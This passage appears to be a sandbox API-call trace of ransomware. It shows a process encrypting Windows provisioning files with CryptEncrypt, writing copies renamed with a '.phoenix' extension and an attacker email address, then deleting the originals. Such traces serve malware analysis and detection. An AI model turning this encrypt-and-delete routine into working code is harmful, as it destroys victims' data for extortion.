	[0249.424] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.424] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.424] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.424] CryptDestroyKey (hKey=0x151740) returned 1
	[0249.424] CloseHandle (hObject=0x2c8) returned 1
	[0249.424] CloseHandle (hObject=0x2b4) returned 1
	[0249.424] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\392__connections_cellular_orange (slovakia)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.425] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.425] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.437] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=645) returned 1
	[0249.437] CloseHandle (hObject=0x2b4) returned 1
	[0249.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.437] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.437] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.437] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.437] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.437] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.439] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0249.439] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.439] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x285, lpOverlapped=0x0) returned 1
	[0249.598] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0249.598] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0249.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0249.599] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.599] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.599] CryptDestroyKey (hKey=0x151600) returned 1
	[0249.599] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.599] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0249.599] CloseHandle (hObject=0x2b4) returned 1
	[0249.599] CloseHandle (hObject=0x2c8) returned 1
	[0249.599] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\394__Connections_Cellular_T-Mobile (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\394__connections_cellular_t-mobile (slovakia)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.600] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.600] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=852) returned 1
	[0249.600] CloseHandle (hObject=0x2c8) returned 1
	[0249.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.601] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.601] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.601] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.601] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.602] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0249.602] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.602] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x354, lpOverlapped=0x0) returned 1
	[0249.679] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0249.679] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0249.680] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151700) returned 1
	[0249.680] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.680] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.680] CryptDestroyKey (hKey=0x151700) returned 1
	[0249.680] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.680] CryptDestroyKey (hKey=0x151180) returned 1
	[0249.681] CloseHandle (hObject=0x2c8) returned 1
	[0249.681] CloseHandle (hObject=0x2b4) returned 1
	[0249.681] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\396__Connections_Cellular_Si.mobil (Slovenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\396__connections_cellular_si.mobil (slovenia)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.682] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.682] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.682] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=851) returned 1
	[0249.682] CloseHandle (hObject=0x2b4) returned 1
	[0249.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.683] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.683] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.684] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.684] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0249.684] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.684] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x353, lpOverlapped=0x0) returned 1
	[0249.724] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0249.724] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0249.726] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0249.726] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.726] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.727] CryptDestroyKey (hKey=0x151140) returned 1
	[0249.727] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.727] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0249.727] CloseHandle (hObject=0x2b4) returned 1
	[0249.727] CloseHandle (hObject=0x2c8) returned 1
	[0249.727] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\39__Connections_Cellular_VELCOM (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\39__connections_cellular_velcom (belarus)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.728] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.728] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.728] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0249.728] CloseHandle (hObject=0x2c8) returned 1
	[0249.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0249.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.729] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0249.729] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.729] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0249.729] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.729] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0249.729] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.729] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0249.740] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0249.740] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0249.741] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0249.741] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0249.741] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0249.741] CryptDestroyKey (hKey=0x151740) returned 1
	[0249.741] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0249.741] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0249.741] CloseHandle (hObject=0x2c8) returned 1
	[0249.741] CloseHandle (hObject=0x2b4) returned 1
	[0249.742] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\3__Connections_Cellular_Wataniya (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\3__connections_cellular_wataniya (algeria)_i0$(__mvid)@wap.provxml")) returned 1
	[0249.742] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0249.743] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\400__Connections_Cellular_Vodacom SA (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\400__connections_cellular_vodacom sa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.743] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=726) returned 1
	[0249.743] CloseHandle (hObject=0x2b4) returned 1
